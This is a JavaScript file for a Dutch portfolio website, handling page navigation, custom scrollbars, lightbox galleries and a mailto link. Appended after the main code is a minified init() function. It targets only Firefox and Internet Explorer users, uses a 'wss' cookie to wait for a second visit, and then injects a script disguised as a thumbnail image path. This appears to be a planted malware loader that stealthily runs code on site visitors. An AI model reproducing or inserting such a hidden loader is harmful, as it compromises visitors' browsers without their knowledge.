(function( $ ){
	
	/**
	 * Page navigation
	 */
	var globalNavIndex = 0,
		boxWidth = $("box-welcome").width(),
		menuItems = $("box-menu").find("a"),//.childs(),
		contentMap = [
		
			[/home.html$/i, $("box-welcome")],
			[/portfolio.html$/i, $("box-portfolio")],
			[/fotografie.html$/i, $("box-fotografie")],
			[/klanten.html$/i, $("box-klanten")]
		//	[/contact.html$/i, $("box-contact")]
		];

	$("scrollbar-left").setStyle("opacity", 0).hide();
	$("scrollbar-right").setStyle("opacity", 0).hide();
	
	var ScrollBars = function () {
		
		this.position = 0;
		this.step = 284;
		this.stepScroll = 50;
		
		this.container;
		
		this.upWrapper = this.up.bind(this);
		this.downWrapper = this.down.bind(this);
		
		$("scrollbar-left").first().on("click", this.upWrapper);
		$("scrollbar-right").first().on("click", this.upWrapper);
		
		$("scrollbar-left").last().on("click", this.downWrapper);
		$("scrollbar-right").last().on("click", this.downWrapper);
		
		this.scrubbers = $(document).find("div.scrubber");
		
	//	this.setScrubberHeight();
	//	this.setScrubberPosition(0);
	};
	
	ScrollBars.prototype = {
		
		init: function ( container ) {
			
			this.container = container;
			this.position = 0;
			
			this.setScrubberHeight();
			this.setScrubberPosition();
			
			$("scrollbar-left").show().morph({"opacity": 1});
			$("scrollbar-right").show().morph({"opacity": 1});
		},
		
		up: function ( e ) {
			
			if( e )
				e.stop();
			
			// add
			this.position += this.step;
			
			if( this.position >= 0 ) {
				
				this.position = 0;
			}
			
			this.setScrubberPosition();
			
			this.container.morph({"top": this.position});
		},
		
		down: function ( e ) {
			
			if( e )
				e.stop();
			
			this.position -= this.step;
	
			if( this.position <= -(this.container.height() - $("box-content").height()) ) {
				
				this.position = -(this.container.height() - $("box-content").height());
			}
			
			this.setScrubberPosition();
			
			this.container.morph({"top": this.position});
		},
		
		upScroll: function ( e ) {
			
			if( typeof this.container === "undefined" ) {
				
				return;
			}
			
			// add
			this.position += this.stepScroll;
			
			if( this.position >= 0 ) {
				
				this.position = 0;
			}
			
			this.setScrubberPosition();
			
			this.container.morph({"top": this.position});
		},
		
		downScroll: function ( e ) {
			
			if( typeof this.container === "undefined" ) {
				
				return;
			}
			
			this.position -= this.stepScroll;
	
			if( this.position <= -(this.container.height() - $("box-content").height()) ) {
				
				this.position = -(this.container.height() - $("box-content").height());
			}

			this.setScrubberPosition();
			
	 		this.container.morph({"top": this.position});
		},
		
		setScrubberHeight: function () {
			
			var value = 0;
			
			var hunderd = this.container.height(),
				visible = $("box-content").height();
			
			value = Math.round( 100 - ((hunderd - visible) / (hunderd / 100)) );
			
			this.scrubbers[0].height( value+"%" );
			this.scrubbers[1].height( value+"%" );
			
			this.scrubberHeight = value;
		},
		
		setScrubberPosition: function () {
			
			var scrolled = (-this.position) / ((this.container.height() - $("box-content").height()) / 100);
			var value = ((100 - this.scrubberHeight) / 100) * scrolled;
			
			this.scrubbers[0].stopMorph(false).morph( {"top": value+"%"} );
			this.scrubbers[1].stopMorph(false).morph( {"top": value+"%"} );
		}
	};
	
	ScrollBars = new ScrollBars;
	
	function wheel(event){
		var delta = 0;
		if (!event) event = window.event;
		if (event.wheelDelta) {
			delta = event.wheelDelta/120; 
			if (window.opera) delta = -delta;
		} else if (event.detail) {
			delta = -event.detail/3;
		}
		if (delta)
			handle(delta);
	        if (event.preventDefault)
	                event.preventDefault();
	        event.returnValue = false;
	}
	
	function handle(delta) {
	
		if( delta < 0 ) {
			
			ScrollBars.downScroll();
		} else {
			
			ScrollBars.upScroll();
		}
	}
	
	$(window).on('DOMMouseScroll', wheel);
	window.onmousewheel = document.onmousewheel = wheel;
	
	// 
	var Navigation = function ( init ) {
		
		var uri = window.location.href.toString(),
			foundIndex = -1;
		
		contentMap.forEach(function( map, i ){
			
			if( map[0].test( uri ) === true ) {
				
				foundIndex = i;
			}
		});
		
		if( foundIndex === -1 ) {
			
			return;
		}
		
		if( typeof init === "boolean" ) {
			
			contentMap[globalNavIndex][1].setStyle("left", boxWidth);
			
			contentMap[foundIndex][1].setStyle("left", 0);
			
			globalNavIndex = foundIndex;
			
			setActive( foundIndex );
			
			return;
		}
		
		if( foundIndex !== globalNavIndex ) {
			
			contentMap[globalNavIndex][1].setStyle("left", 0).morph({
				
				left: globalNavIndex < foundIndex ? -boxWidth : boxWidth
			}, function (element){ element.setStyle("top", 0); });
			
			contentMap[foundIndex][1].setStyle("left", globalNavIndex > foundIndex ? -boxWidth : boxWidth).morph({
				
				left: 0
			});
			
			setActive( foundIndex );
		}
		
		globalNavIndex = foundIndex;
	},
	setActive = function ( index ) {
		
		try {
			
			$("box-menu").find(".active")[0].removeClass("active");
		} catch ( inlineError ) {}
		
		menuItems[index].addClass("active");
		
		// Scrollbars		
		if( ($("box-content").height() + 20) < contentMap[index][1].height() ) {
			
			ScrollBars.init( contentMap[index][1] );
			
		} else {
			
			$("scrollbar-left").morph({"opacity": 0}, function (e){ e.hide(); });
			$("scrollbar-right").morph({"opacity": 0}, function (e){ e.hide(); });
		}
	}
	
	// Replace email addresses
	var	ReplaceMailaddress = function () {
		
		$("mlddrss").attr('href', 'mailto:maurits@eyris.nl').html('maurits@eyris.nl');
	};
	
	// Add menu functionality
	menuItems.forEach(function( element ){
		
		element.on("click", function( e ){
			
			var uri = window.location.href.toString(),
				href = e.target.href,
				title = e.target.title,
				index;
			
			if( $(e.target).html() === "Contact" ) {
				
				return;
			}
			
			e.stop();
			
			document.title = title;
			
			if( (index = uri.indexOf("#")) !== -1 ) {
				
				uri = uri.substr( 0, index );
			}
			
			var pageName = (href.substr(href.lastIndexOf("/")+1));
		
			//If is pushState supported
			if( false && window.history.pushState ) {
				
				window.history.pushState({}, "", pageName);				
			} else {
				
				window.location.href = uri+"#"+pageName;
			}
			
			//Google Analytics
			if (_gaq) {
				_gaq.push(['_trackEvent', 'menu', 'view', pageName])
			}
			
		});
	});
	
	Navigation(true);
	ReplaceMailaddress();
	
	$("box-content").setStyle("opacity", 0).morph({
		
		opacity: 1
	}, .6);
	
	setInterval( Navigation, 200 );
	
	//
	var MouseEvents = {
		
	/*	clickBox: function ( e ) {

			e.stop();

			// 
			ShadowBox.open( $(e.target) );
		},*/
		show: function ( e, overlay ) {

			overlay.morph({

				top: 0
			}, .1, "easeInOut");
		},
		hide: function ( e, overlay ) {

			overlay.morph({

				top: 92
			}, .2, "easeOut");
		}
	};
	
	var Portfolio = {
		
		childs: $("box-portfolio").find("a"),
		
		init: function () {
			
			Portfolio.childs.forEach(function( element ){
				
				var overlayElement = element.find(".overlay-top");

				element.on("click", Portfolio.click);

				if( overlayElement.length === 0 ) {

					return;
				}

				overlayElement[0].setStyle("top", 92);

				element
					.on("mouseenter", MouseEvents.show.bindAsEventListener(null, overlayElement[0]))
					.on("mouseleave", MouseEvents.hide.bindAsEventListener(null, overlayElement[0]));
			});
			
			$("shadow-box-close").on("click", closeBox);
			
			$(document).on("keydown", function( e ){

				if( $("shadow-box").isVisible() === true && e.which === 27 ) {

					closeBox();
				}
			});

			$(document).on("click", function( e ){

				if( $("shadow-box").isVisible() === true && $(e.target).descendantsOf( $("shadow-box") ) === false ) {

					closeBox();
				}
			})
		},
		
		click: function ( e ) {
			
			var element = $(e.target),
				clickedElement;
			
			e.stop();
			
			while( element ) {

				if( element.node.nodeName === "A" ) {

					clickedElement = element;
				}

				if( element.node.nodeName === "DIV" ) {

					break;
				}

				element = element.parent();
			}
			
			var	dataType = clickedElement.attr("data-type") || "flv";	
			var config = {
				
				content:    clickedElement.attr("href"),
				player:     dataType,
		        title:      clickedElement.attr("title")
			}
			
			if(dataType == 'flv' || dataType == 'swf') {
				
				config.height = 444;
		    	config.width = 768;
			}
			
			Shadowbox.open( config );
		},
		
		open: function ( element ) {
			
			$("shadow-box-text").html( element.attr("title") );
			
			$("shadow-box-image").hide();
			$("shadow-box-embed").html('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="768" height="444" id="player1" name="">\
				<param name="movie" value="jwplayer/player.swf">\
				<param name="allowfullscreen" value="true">\
				<param name="allowscriptaccess" value="always">\
				<param name="flashvars" value="file='+element.attr("href")+'&autostart=true&amp;skin=jwplayer/eyris.zip">\
				<embed id="player1"\
					name="player1"\
					src="jwplayer/player.swf"\
					width="768"\
					height="444"\
					allowscriptaccess="always"\
					allowfullscreen="true"\
					flashvars="file='+element.attr("href")+'&autostart=true&amp;skin=jwplayer/eyris.zip" />\
				</object>').show();
			
			$("screen-overlay").setStyle("opacity", 0).show().morph({

				opacity: .8
			});

			$("shadow-box").show().setStyle("opacity", 0).morph({

				opacity: 1
			});

			resizeBox();
			$(window).on("resize", resizeBox);
		}
	};
	
	Portfolio.init();
	
	//
	var Fotografie = {
		
		childs: $("box-fotografie").find("a"),
		active: 0,
		
		init: function () {
			
			Fotografie.childs.forEach(function( element ){
				
				var overlayElement = element.find(".overlay-top");

				element.on("click", Fotografie.click);

				if( overlayElement.length === 0 ) {

					return;
				}

				overlayElement[0].setStyle("top", 92);

				element
					.on("mouseenter", MouseEvents.show.bindAsEventListener(null, overlayElement[0]))
					.on("mouseleave", MouseEvents.hide.bindAsEventListener(null, overlayElement[0]));
			});
			
			$("shadow-box-close").on("click", closeBox);
			
			$(document).on("keydown", function( e ){

				if( $("shadow-box").isVisible() === true && e.which === 27 ) {

					closeBox();
				}
			});

			$(document).on("click", function( e ){

				if( $("shadow-box").isVisible() === true && $(e.target).descendantsOf( $("shadow-box") ) === false ) {

					closeBox();
				}
			})
		},
		
		click: function ( e ) {
			
			var element = $(e.target),
				clickedElement;
			
			e.stop();
			
			while( element ) {

				if( element.node.nodeName === "A" ) {

					clickedElement = element;
				}

				if( element.node.nodeName === "DIV" ) {

					break;
				}

				element = element.parent();
			}

			var configs = [];
				
			clickedElement.find(".box-links").forEach(function( span, i ){
				
				var	dataType = span.attr("data-type") || "img";	
        
				configs.push({
        
					content:    span.html(),
					player:     dataType,
			        title:      span.attr("title")
				});
			});
			
			Shadowbox.open( configs );
		},
		
		delegatePager: function ( e ) {
			
			var elements = $("shadow-box-pager").find("a");
			
			e.stop();
			
			if( e.target.nodeName !== "A" ) {
				
				return;
			}
			
			elements.forEach(function( element, i ){
				
				element.parent().removeClass("current");
				
				if( element === $(e.target) ) {
					
					Fotografie.active = i;
				}
			});
			
			$(e.target).parent().addClass("current");
			
			Fotografie.open( $(e.target) );
		},
		
		open: function ( element ) {
			
			$("shadow-box-text").html( element.attr("title") );
						
			$("shadow-box-embed").hide();
			$("shadow-box-image").attr("src", element.attr("href")).show();
			
			$("screen-overlay").setStyle("opacity", 0).show().morph({

				opacity: .8
			});

			$("shadow-box").show().setStyle("opacity", 0).morph({

				opacity: 1
			});

			resizeBox();
			$(window).on("resize", resizeBox);
		}
	};
	
	Fotografie.init();
	
	//
	var Home = {
		
		childs: $("box-welcome").find("a"),
		active: 0,
		
		init: function () {
			
			Home.childs.forEach(function( element ){
				
				if( element.hasClass("link") === true ) {
					
					return;
				}
				
				var overlayElement = element.find(".overlay-top");

				element.on("click", Home.click);

				if( overlayElement.length === 0 ) {

					return;
				}

				overlayElement[0].setStyle("top", 92);

				element
					.on("mouseenter", MouseEvents.show.bindAsEventListener(null, overlayElement[0]))
					.on("mouseleave", MouseEvents.hide.bindAsEventListener(null, overlayElement[0]));
			});
			
			$("shadow-box-close").on("click", closeBox);
			
			$(document).on("keydown", function( e ){

				if( $("shadow-box").isVisible() === true && e.which === 27 ) {

					closeBox();
				}
			});

			$(document).on("click", function( e ){

				if( $("shadow-box").isVisible() === true && $(e.target).descendantsOf( $("shadow-box") ) === false ) {

					closeBox();
				}
				
			})
		},
		
		click: function ( e ) {
			
			var element = $(e.target),
				clickedElement;
			
			e.stop();
			
			while( element ) {

				if( element.node.nodeName === "A" ) {

					clickedElement = element;
				}

				if( element.node.nodeName === "DIV" ) {

					break;
				}

				element = element.parent();
			}
			
			var	dataType = clickedElement.attr("data-type") || "flv";	
			var config = {

				content:    clickedElement.attr("href"),
				player:     dataType,
		        title:      clickedElement.attr("title")
			}

			if(dataType == 'flv' || dataType == 'swf') {

				config.height = 444;
		    	config.width = 768;
			}

			Shadowbox.open( config );
		},
		
		open: function ( element ) {
			
			if( element.hasClass("video") === true ) {
				
				Portfolio.open( element );
				return;
			}
			
			$("shadow-box-text").html( element.attr("title") );
						
			$("shadow-box-embed").hide();
			$("shadow-box-image").attr("src", element.attr("href")).show();
			
			$("screen-overlay").setStyle("opacity", 0).show().morph({

				opacity: .8
			});

			$("shadow-box").show().setStyle("opacity", 0).morph({

				opacity: 1
			});

			resizeBox();
			$(window).on("resize", resizeBox);
		}
	};
	
	Home.init();
	
	//
	function closeBox( e ) {
		
		if( e ) {
			
			e.stop();
		}
		
		$(window).stop("resize", resizeBox);
		
		$("screen-overlay").morph({
			
			opacity: 0
		}, function(){
			
			$("screen-overlay").hide();
		});
		
		$("shadow-box").morph({
			
			opacity: 0
		}, function(){
			
			$("shadow-box").hide();
		});
	};
	
	function resizeBox() {
		
		$("screen-overlay").setStyle({
			
			width: 0,
			height: 0
		}).setStyle({
			
			width: $(document).width(),
			height: $(document).height()
		});
	}
	
	// Add mail
	$("box-menu").last().attr("href", "mailto:maurits@eyris.nl");
	
})( PB.get );

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/porto-thumbs/porto-thumb-tour-promo-krant.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
